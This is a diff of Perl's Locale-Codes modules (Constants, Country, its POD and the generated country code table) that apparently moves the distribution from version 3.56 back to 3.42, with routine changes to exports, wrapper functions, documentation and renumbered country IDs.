 package Locale::Codes::Constants;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
 use warnings;
-require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
-
-################################################################################
-our(@CONSTANTS,%ALL_CODESETS);
-
-our(@CONSTANTS_COUNTRY) = qw(
-                LOCALE_CODE_ALPHA_2
-                LOCALE_CODE_ALPHA_3
-                LOCALE_CODE_DOM
-                LOCALE_CODE_GENC_ALPHA_2
-                LOCALE_CODE_GENC_ALPHA_3
-                LOCALE_CODE_GENC_NUMERIC
-                LOCALE_CODE_NUMERIC
-                LOCALE_CODE_UN_ALPHA_3
-                LOCALE_CODE_UN_NUMERIC
-                LOCALE_COUNTRY_ALPHA_2
-                LOCALE_COUNTRY_ALPHA_3
-                LOCALE_COUNTRY_DOM
-                LOCALE_COUNTRY_GENC_ALPHA_2
-                LOCALE_COUNTRY_GENC_ALPHA_3
-                LOCALE_COUNTRY_GENC_NUMERIC
-                LOCALE_COUNTRY_NUMERIC
-                LOCALE_COUNTRY_UN_ALPHA_3
-                LOCALE_COUNTRY_UN_NUMERIC
-);
-push(@CONSTANTS,@CONSTANTS_COUNTRY);
-
-our(@CONSTANTS_CURRENCY) = qw(
-                LOCALE_CURRENCY_ALPHA
-                LOCALE_CURRENCY_NUMERIC
-                LOCALE_CURR_ALPHA
-                LOCALE_CURR_NUMERIC
-);
-push(@CONSTANTS,@CONSTANTS_CURRENCY);
-
-our(@CONSTANTS_LANGEXT) = qw(
-                LOCALE_LANGEXT_ALPHA
-);
-push(@CONSTANTS,@CONSTANTS_LANGEXT);
-
-our(@CONSTANTS_LANGFAM) = qw(
-                LOCALE_LANGFAM_ALPHA
-);
-push(@CONSTANTS,@CONSTANTS_LANGFAM);
-
-our(@CONSTANTS_LANGUAGE) = qw(
-                LOCALE_LANGUAGE_ALPHA_2
-                LOCALE_LANGUAGE_ALPHA_3
-                LOCALE_LANGUAGE_TERM
-                LOCALE_LANG_ALPHA_2
-                LOCALE_LANG_ALPHA_3
-                LOCALE_LANG_TERM
-);
-push(@CONSTANTS,@CONSTANTS_LANGUAGE);
-
-our(@CONSTANTS_LANGVAR) = qw(
-                LOCALE_LANGVAR_ALPHA
-);
-push(@CONSTANTS,@CONSTANTS_LANGVAR);
-
-our(@CONSTANTS_SCRIPT) = qw(
-                LOCALE_SCRIPT_ALPHA
-                LOCALE_SCRIPT_NUMERIC
-);
-push(@CONSTANTS,@CONSTANTS_SCRIPT);
-
-@EXPORT    = (@CONSTANTS,
-               qw(
-                %ALL_CODESETS
-               ));
-
-use constant LOCALE_CODE_ALPHA_2         => 'alpha-2';
-use constant LOCALE_CODE_ALPHA_3         => 'alpha-3';
-use constant LOCALE_CODE_DOM             => 'dom';
-use constant LOCALE_CODE_GENC_ALPHA_2    => 'genc-alpha-2';
-use constant LOCALE_CODE_GENC_ALPHA_3    => 'genc-alpha-3';
-use constant LOCALE_CODE_GENC_NUMERIC    => 'genc-numeric';
-use constant LOCALE_CODE_NUMERIC         => 'numeric';
-use constant LOCALE_CODE_UN_ALPHA_3      => 'un-alpha-3';
-use constant LOCALE_CODE_UN_NUMERIC      => 'un-numeric';
-use constant LOCALE_COUNTRY_ALPHA_2      => 'alpha-2';
-use constant LOCALE_COUNTRY_ALPHA_3      => 'alpha-3';
-use constant LOCALE_COUNTRY_DOM          => 'dom';
-use constant LOCALE_COUNTRY_GENC_ALPHA_2 => 'genc-alpha-2';
-use constant LOCALE_COUNTRY_GENC_ALPHA_3 => 'genc-alpha-3';
-use constant LOCALE_COUNTRY_GENC_NUMERIC => 'genc-numeric';
-use constant LOCALE_COUNTRY_NUMERIC      => 'numeric';
-use constant LOCALE_COUNTRY_UN_ALPHA_3   => 'un-alpha-3';
-use constant LOCALE_COUNTRY_UN_NUMERIC   => 'un-numeric';
-
-$ALL_CODESETS{'country'} =
-   {
-      'default'  => 'alpha-2',
-      'module'   => 'Country',
-      'codesets' => {
-                     'alpha-2'      => ['lc'],
-                     'alpha-3'      => ['lc'],
-                     'dom'          => ['lc'],
-                     'genc-alpha-2' => ['uc'],
-                     'genc-alpha-3' => ['uc'],
-                     'genc-numeric' => ['numeric',3],
-                     'numeric'      => ['numeric',3],
-                     'un-alpha-3'   => ['uc'],
-                     'un-numeric'   => ['numeric',3],
-                    }
-   };
-
-use constant LOCALE_CURRENCY_ALPHA       => 'alpha';
-use constant LOCALE_CURRENCY_NUMERIC     => 'num';
-use constant LOCALE_CURR_ALPHA           => 'alpha';
-use constant LOCALE_CURR_NUMERIC         => 'num';
-
-$ALL_CODESETS{'currency'} =
-   {
-      'default'  => 'alpha',
-      'module'   => 'Currency',
-      'codesets' => {
-                     'alpha'        => ['uc'],
-                     'num'          => ['numeric',3],
-                    }
-   };
-
-use constant LOCALE_LANGEXT_ALPHA        => 'alpha';
-
-$ALL_CODESETS{'langext'} =
-   {
-      'default'  => 'alpha',
-      'module'   => 'LangExt',
-      'codesets' => {
-                     'alpha'        => ['lc'],
-                    }
-   };
-
-use constant LOCALE_LANGFAM_ALPHA        => 'alpha';
-
-$ALL_CODESETS{'langfam'} =
-   {
-      'default'  => 'alpha',
-      'module'   => 'LangFam',
-      'codesets' => {
-                     'alpha'        => ['lc'],
-                    }
-   };
-
-use constant LOCALE_LANGUAGE_ALPHA_2     => 'alpha-2';
-use constant LOCALE_LANGUAGE_ALPHA_3     => 'alpha-3';
-use constant LOCALE_LANGUAGE_TERM        => 'term';
-use constant LOCALE_LANG_ALPHA_2         => 'alpha-2';
-use constant LOCALE_LANG_ALPHA_3         => 'alpha-3';
-use constant LOCALE_LANG_TERM            => 'term';
-
-$ALL_CODESETS{'language'} =
-   {
-      'default'  => 'alpha-2',
-      'module'   => 'Language',
-      'codesets' => {
-                     'alpha-2'      => ['lc'],
-                     'alpha-3'      => ['lc'],
-                     'term'         => ['lc'],
-                    }
-   };
-
-use constant LOCALE_LANGVAR_ALPHA        => 'alpha';
-
-$ALL_CODESETS{'langvar'} =
-   {
-      'default'  => 'alpha',
-      'module'   => 'LangVar',
-      'codesets' => {
-                     'alpha'        => ['lc'],
-                    }
-   };
-
-use constant LOCALE_SCRIPT_ALPHA         => 'alpha';
-use constant LOCALE_SCRIPT_NUMERIC       => 'num';
-
-$ALL_CODESETS{'script'} =
-   {
-      'default'  => 'alpha',
-      'module'   => 'Script',
-      'codesets' => {
-                     'alpha'        => ['ucfirst'],
-                     'num'          => ['numeric',3],
-                    }
-   };
 
+require Exporter;
+
+#-----------------------------------------------------------------------
+#	Public Global Variables
+#-----------------------------------------------------------------------
+
+our($VERSION,@ISA,@EXPORT);
+our(%ALL_CODESETS);
+
+$VERSION='3.42';
+@ISA     = qw(Exporter);
+@EXPORT  = qw(LOCALE_CODE_ALPHA_2
+              LOCALE_CODE_ALPHA_3
+              LOCALE_CODE_NUMERIC
+              LOCALE_CODE_DOM
+              LOCALE_CODE_UN_NUMERIC
+              LOCALE_CODE_UN_ALPHA_3
+              LOCALE_CODE_GENC_ALPHA_2
+              LOCALE_CODE_GENC_ALPHA_3
+              LOCALE_CODE_GENC_NUMERIC
+
+              LOCALE_LANG_ALPHA_2
+              LOCALE_LANG_ALPHA_3
+              LOCALE_LANG_TERM
+
+              LOCALE_CURR_ALPHA
+              LOCALE_CURR_NUMERIC
+
+              LOCALE_SCRIPT_ALPHA
+              LOCALE_SCRIPT_NUMERIC
+
+              LOCALE_LANGEXT_ALPHA
+
+              LOCALE_LANGVAR_ALPHA
+
+              LOCALE_LANGFAM_ALPHA
+
+              %ALL_CODESETS
+            );
+
+#-----------------------------------------------------------------------
+#	Constants
+#-----------------------------------------------------------------------
+
+use constant LOCALE_CODE_ALPHA_2      => 'alpha-2';
+use constant LOCALE_CODE_ALPHA_3      => 'alpha-3';
+use constant LOCALE_CODE_NUMERIC      => 'numeric';
+use constant LOCALE_CODE_DOM          => 'dom';
+use constant LOCALE_CODE_UN_ALPHA_3   => 'un-alpha-3';
+use constant LOCALE_CODE_UN_NUMERIC   => 'un-numeric';
+use constant LOCALE_CODE_GENC_ALPHA_2 => 'genc-alpha-2';
+use constant LOCALE_CODE_GENC_ALPHA_3 => 'genc-alpha-3';
+use constant LOCALE_CODE_GENC_NUMERIC => 'genc-numeric';
+
+$ALL_CODESETS{'country'} = {
+                            'default'  => 'alpha-2',
+                            'codesets' => { 'alpha-2'      => ['lc'],
+                                            'alpha-3'      => ['lc'],
+                                            'numeric'      => ['numeric',3],
+                                            'dom'          => ['lc'],
+                                            'un-alpha-3'   => ['uc'],
+                                            'un-numeric'   => ['numeric',3],
+                                            'genc-alpha-2' => ['uc'],
+                                            'genc-alpha-3' => ['uc'],
+                                            'genc-numeric' => ['numeric',3],
+                                          }
+                           };
+
+use constant LOCALE_LANG_ALPHA_2    => 'alpha-2';
+use constant LOCALE_LANG_ALPHA_3    => 'alpha-3';
+use constant LOCALE_LANG_TERM       => 'term';
+
+$ALL_CODESETS{'language'} = {
+                             'default'  => 'alpha-2',
+                             'codesets' => { 'alpha-2'  => ['lc'],
+                                             'alpha-3'  => ['lc'],
+                                             'term'     => ['lc'],
+                                           }
+                            };
+
+use constant LOCALE_CURR_ALPHA      => 'alpha';
+use constant LOCALE_CURR_NUMERIC    => 'num';
+
+$ALL_CODESETS{'currency'} = {
+                             'default'  => 'alpha',
+                             'codesets' => { 'alpha'  => ['uc'],
+                                             'num'    => ['numeric',3],
+                                           }
+                            };
+
+use constant LOCALE_SCRIPT_ALPHA    => 'alpha';
+use constant LOCALE_SCRIPT_NUMERIC  => 'num';
+
+$ALL_CODESETS{'script'} = {
+                           'default'  => 'alpha',
+                           'codesets' => { 'alpha'  => ['ucfirst'],
+                                           'num'    => ['numeric',3],
+                                         }
+                          };
+
+use constant LOCALE_LANGEXT_ALPHA   => 'alpha';
+
+$ALL_CODESETS{'langext'} = {
+                           'default'  => 'alpha',
+                           'codesets' => { 'alpha'  => ['lc'],
+                                         }
+                          };
+
+use constant LOCALE_LANGVAR_ALPHA   => 'alpha';
+
+$ALL_CODESETS{'langvar'} = {
+                           'default'  => 'alpha',
+                           'codesets' => { 'alpha'  => ['lc'],
+                                         }
+                          };
+
+use constant LOCALE_LANGFAM_ALPHA   => 'alpha';
+
+$ALL_CODESETS{'langfam'} = {
+                           'default'  => 'alpha',
+                           'codesets' => { 'alpha'  => ['lc'],
+                                         }
+                          };
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Country.pm b/cpan/Locale-Codes/lib/Locale/Codes/Country.pm
index 1a87d3b92c4e..102f60f294b7 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Country.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Country.pm
@@ -1,94 +1,100 @@
 package Locale::Codes::Country;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::Country_Codes;
+use Locale::Codes::Country_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2country
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2country
                 country2code
                 all_country_codes
                 all_country_names
                 country_code2code
+                LOCALE_CODE_ALPHA_2
+                LOCALE_CODE_ALPHA_3
+                LOCALE_CODE_NUMERIC
+                LOCALE_CODE_DOM
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_COUNTRY);
-
-our $obj = new Locale::Codes('country');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2country {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('country',@_);
 }
 
 sub country2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('country',@_);
 }
 
 sub country_code2code {
-   return $obj->code2code(@_);
+   return Locale::Codes::_code2code('country',@_);
 }
 
 sub all_country_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('country',@_);
 }
 
 sub all_country_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('country',@_);
 }
 
 sub rename_country {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('country',@_);
 }
 
 sub add_country {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('country',@_);
 }
 
 sub delete_country {
-   return $obj->delete_code(@_);
+   return Locale::Codes::_delete_code('country',@_);
 }
 
 sub add_country_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('country',@_);
 }
 
 sub delete_country_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('country',@_);
 }
 
 sub rename_country_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('country',@_);
 }
 
 sub add_country_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('country',@_);
 }
 
 sub delete_country_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('country',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Country.pod b/cpan/Locale-Codes/lib/Locale/Codes/Country.pod
index ab845a832e77..e4aee7274e55 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Country.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Country.pod
@@ -2,107 +2,127 @@
 
 =head1 NAME
 
-Locale::Codes::Country - module for dealing with country code sets
+Locale::Codes::Country - standard codes for country identification
 
 =head1 SYNOPSIS
 
    use Locale::Codes::Country;
 
-   $name = code2country(CODE);
-   $code = country2code(NAME);
+   $country = code2country('jp' [,CODESET]);        # $country gets 'Japan'
+   $code    = country2code('Norway' [,CODESET]);    # $code gets 'no'
 
-   @codes   = all_country_codes();
+   @codes   = all_country_codes( [CODESET]);
    @names   = all_country_names();
 
-=head1 DESCRIPTION
+   # semi-private routines
+   Locale::Codes::Country::rename_country('gb' => 'Great Britain');
 
-This module provides access to country code sets.
+=head1 DESCRIPTION
 
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to several code sets
+that can be used for identifying countries, such as those defined in
+ISO 3166-1.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
+specifies the code set to use. If not specified, the default ISO
+3166-1 two-letter codes will be used.
 
-=head1 ROUTINES
+=head1 SUPPORTED CODE SETS
+
+There are several different code sets you can use for identifying
+countries. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-All routines in this module call the appropriate method in the
-L module, using an object of type: country
-Please refer to the documentation of the L module
-for details about each function.
+For example, the two are equivalent:
 
-The following functions are exported automatically:
+   $country = code2country('jp','alpha-2');
+   $country = code2country('jp',LOCALE_CODE_ALPHA_2);
+
+The codesets currently supported are:
 
 =over 4
 
-=item B
+=item B
 
-See B in L
+This is the set of two-letter (lowercase) codes from ISO 3166-1, such
+as 'tv' for Tuvalu.
 
-=item B
+This is the default code set.
 
-See B in L
+=item B
 
-=item B
+This is the set of three-letter (lowercase) codes from ISO 3166-1,
+such as 'brb' for Barbados. These codes are actually defined and
+maintained by the U.N. Statistics division.
 
-See B in L
+=item B
 
-=item B
+This is the set of three-digit numeric codes from ISO 3166-1, such as
+064 for Bhutan. These codes are actually defined and maintained by the
+U.N. Statistics division.
 
-See B in L
+If a 2-digit code is entered, it is converted to 3 digits by prepending
+a 0.
 
-=item B
+=item B
+
+The IANA is responsible for delegating management of the top level country
+domains.  The country domains are the two-letter (lowercase) codes from ISO 3166
+with a few other additions.
+
+=item B
+
+=item B
 
-See B in L
+The UN maintains a list of codes that is similar, but not identical, to the
+standard ISO 3166 lists.  They maintain a 3-letter code (similar to alpha-3)
+and a numeric code (similar to numeric).
+
+=item B
+
+=item B
+
+=item B
+
+The GENC codes are the US Government codes that replace the FIPS-11 codes.
+They are based on, but not identical to the standard ISO 3166 lists.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+NOTE: As of version 3.27, the FIPS code set is no longer supported.  See the
+Locale::Codes::Changes document for details.
+
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +134,54 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+ISO codes for country sub-divisions (states, counties, provinces,
+etc), as defined in ISO 3166-2.  This module is not part of the
+Locale-Codes distribution, but is available from CPAN in
+CPAN/modules/by-module/Locale/
+
+=item L
+
+Official home page for the ISO 3166 maintenance agency.
+
+=item L
+
+The source of ISO 3166-1 two-letter codes used by this
+module.
+
+=item L
+
+Official source of the top-level domain names.
+
+=item L
+
+The source of the UN codes.
+
+Previously, this table was treated as a source of the ISO 3166 data,
+but I found that the table was incomplete, so I stopped using it.
+Later, it was added back in as it's own list of codes.
+
+=item L
+
+The source of the GENC codes.
+
+=item L
+
+The World Factbook maintained by the CIA is a potential source of
+the data.  Unfortunately, it adds/preserves non-standard codes, so it is no
+longer used as a source of data.
+
+=item L
+
+Another unofficial source of data. Currently, it is not used to get
+data, but the notes and explanatory material were very useful for
+understanding discrepancies between the sources.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +192,9 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm
index 8eaf4114a97d..b446900b5022 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Country_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::Country_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:17:40 EST 2018
+#    Generated on: Tue Nov 29 15:43:30 EST 2016
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
-$Locale::Codes::Data{'country'}{'id'} = '0280';
+$Locale::Codes::Data{'country'}{'id'} = '0283';
 
 $Locale::Codes::Data{'country'}{'id2names'} = {
    q(0001) => [
@@ -998,93 +998,106 @@ $Locale::Codes::Data{'country'}{'id2names'} = {
       q(Republic of Zimbabwe (The)),
       ],
    q(0250) => [
-      q(Sark),
+      q(Channel Islands),
       ],
    q(0251) => [
-      q(Akrotiri),
+      q(Sark),
       ],
    q(0252) => [
-      q(Ashmore and Cartier Islands),
+      q(Akrotiri),
       ],
    q(0253) => [
-      q(Baker Island),
+      q(Ashmore and Cartier Islands),
       ],
    q(0254) => [
-      q(Bassas Da India),
+      q(Baker Island),
       ],
    q(0255) => [
-      q(Clipperton Island),
+      q(Bassas Da India),
       ],
    q(0256) => [
-      q(Coral Sea Islands),
+      q(Clipperton Island),
       ],
    q(0257) => [
-      q(Dhekelia),
+      q(Coral Sea Islands),
       ],
    q(0258) => [
-      q(Diego Garcia),
+      q(Dhekelia),
       ],
    q(0259) => [
-      q(Europa Island),
+      q(Diego Garcia),
       ],
    q(0260) => [
-      q(Gaza Strip),
+      q(Entity 1),
+      q(Entity 2),
+      q(Entity 3),
+      q(Entity 4),
+      q(Entity 5),
       ],
    q(0261) => [
-      q(Glorioso Islands),
+      q(Entity 6),
       ],
    q(0262) => [
-      q(Guantanamo Bay Naval Base),
+      q(Europa Island),
       ],
    q(0263) => [
-      q(Howland Island),
+      q(Gaza Strip),
       ],
    q(0264) => [
-      q(Jan Mayen),
+      q(Glorioso Islands),
       ],
    q(0265) => [
-      q(Jarvis Island),
+      q(Guantanamo Bay Naval Base),
       ],
    q(0266) => [
-      q(Johnston Atoll),
+      q(Howland Island),
       ],
    q(0267) => [
-      q(Juan de Nova Island),
+      q(Jan Mayen),
       ],
    q(0268) => [
-      q(Kingman Reef),
+      q(Jarvis Island),
       ],
    q(0269) => [
-      q(Kosovo),
+      q(Johnston Atoll),
       ],
    q(0270) => [
-      q(Midway Islands),
+      q(Juan de Nova Island),
       ],
    q(0271) => [
-      q(Navassa Island),
+      q(Kingman Reef),
       ],
    q(0272) => [
-      q(Palmyra Atoll),
+      q(Kosovo),
       ],
    q(0273) => [
-      q(Paracel Islands),
+      q(Midway Islands),
       ],
    q(0274) => [
-      q(Spratly Islands),
+      q(Navassa Island),
       ],
    q(0275) => [
-      q(Svalbard),
+      q(Palmyra Atoll),
       ],
    q(0276) => [
-      q(Tromelin Island),
+      q(Paracel Islands),
       ],
    q(0277) => [
-      q(Unknown),
+      q(Spratly Islands),
       ],
    q(0278) => [
-      q(Wake Island),
+      q(Svalbard),
       ],
    q(0279) => [
+      q(Tromelin Island),
+      ],
+   q(0280) => [
+      q(Unknown),
+      ],
+   q(0281) => [
+      q(Wake Island),
+      ],
+   q(0282) => [
       q(West Bank),
       ],
 };
@@ -1095,7 +1108,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(akrotiri) => [
-      q(0251),
+      q(0252),
       q(0),
       ],
    q(aland islands) => [
@@ -1147,7 +1160,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(ashmore and cartier islands) => [
-      q(0252),
+      q(0253),
       q(0),
       ],
    q(australia) => [
@@ -1179,7 +1192,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(baker island) => [
-      q(0253),
+      q(0254),
       q(0),
       ],
    q(bangladesh) => [
@@ -1191,7 +1204,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(bassas da india) => [
-      q(0254),
+      q(0255),
       q(0),
       ],
    q(belarus) => [
@@ -1338,6 +1351,10 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0044),
       q(0),
       ],
+   q(channel islands) => [
+      q(0250),
+      q(0),
+      ],
    q(chile) => [
       q(0045),
       q(0),
@@ -1359,7 +1376,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(clipperton island) => [
-      q(0255),
+      q(0256),
       q(0),
       ],
    q(cocos (keeling) islands) => [
@@ -1455,7 +1472,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(2),
       ],
    q(coral sea islands) => [
-      q(0256),
+      q(0257),
       q(0),
       ],
    q(costa rica) => [
@@ -1515,11 +1532,11 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(dhekelia) => [
-      q(0257),
+      q(0258),
       q(0),
       ],
    q(diego garcia) => [
-      q(0258),
+      q(0259),
       q(0),
       ],
    q(djibouti) => [
@@ -1558,6 +1575,30 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0067),
       q(0),
       ],
+   q(entity 1) => [
+      q(0260),
+      q(0),
+      ],
+   q(entity 2) => [
+      q(0260),
+      q(1),
+      ],
+   q(entity 3) => [
+      q(0260),
+      q(2),
+      ],
+   q(entity 4) => [
+      q(0260),
+      q(3),
+      ],
+   q(entity 5) => [
+      q(0260),
+      q(4),
+      ],
+   q(entity 6) => [
+      q(0261),
+      q(0),
+      ],
    q(equatorial guinea) => [
       q(0068),
       q(0),
@@ -1575,7 +1616,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(europa island) => [
-      q(0259),
+      q(0262),
       q(0),
       ],
    q(faeroe islands) => [
@@ -1667,7 +1708,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(2),
       ],
    q(gaza strip) => [
-      q(0260),
+      q(0263),
       q(0),
       ],
    q(georgia) => [
@@ -1687,7 +1728,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(glorioso islands) => [
-      q(0261),
+      q(0264),
       q(0),
       ],
    q(great britain) => [
@@ -1715,7 +1756,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(guantanamo bay naval base) => [
-      q(0262),
+      q(0265),
       q(0),
       ],
    q(guatemala) => [
@@ -1787,7 +1828,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(3),
       ],
    q(howland island) => [
-      q(0263),
+      q(0266),
       q(0),
       ],
    q(hungary) => [
@@ -1855,7 +1896,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(jan mayen) => [
-      q(0264),
+      q(0267),
       q(0),
       ],
    q(japan) => [
@@ -1863,7 +1904,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(jarvis island) => [
-      q(0265),
+      q(0268),
       q(0),
       ],
    q(jersey) => [
@@ -1871,7 +1912,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(johnston atoll) => [
-      q(0266),
+      q(0269),
       q(0),
       ],
    q(jordan) => [
@@ -1879,7 +1920,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(juan de nova island) => [
-      q(0267),
+      q(0270),
       q(0),
       ],
    q(kazakhstan) => [
@@ -1899,7 +1940,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(kingman reef) => [
-      q(0268),
+      q(0271),
       q(0),
       ],
    q(kiribati) => [
@@ -1947,7 +1988,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(kosovo) => [
-      q(0269),
+      q(0272),
       q(0),
       ],
    q(kuwait) => [
@@ -2119,7 +2160,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(4),
       ],
    q(midway islands) => [
-      q(0270),
+      q(0273),
       q(0),
       ],
    q(moldova) => [
@@ -2179,7 +2220,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(navassa island) => [
-      q(0271),
+      q(0274),
       q(0),
       ],
    q(nepal) => [
@@ -2275,7 +2316,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(palmyra atoll) => [
-      q(0272),
+      q(0275),
       q(0),
       ],
    q(panama) => [
@@ -2287,7 +2328,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(paracel islands) => [
-      q(0273),
+      q(0276),
       q(0),
       ],
    q(paraguay) => [
@@ -2475,7 +2516,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(sark) => [
-      q(0250),
+      q(0251),
       q(0),
       ],
    q(saudi arabia) => [
@@ -2563,7 +2604,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(spratly islands) => [
-      q(0274),
+      q(0277),
       q(0),
       ],
    q(sri lanka) => [
@@ -2591,7 +2632,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(svalbard) => [
-      q(0275),
+      q(0278),
       q(0),
       ],
    q(svalbard and jan mayen) => [
@@ -2895,7 +2936,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(0),
       ],
    q(tromelin island) => [
-      q(0276),
+      q(0279),
       q(0),
       ],
    q(tunisia) => [
@@ -3019,7 +3060,7 @@ $Locale::Codes::Data{'country'}{'alias2id'} = {
       q(6),
       ],
    q(unknown) => [
-      q(0277),
+      q(0280),
       q(0),
       ],
    q(uruguay) => [
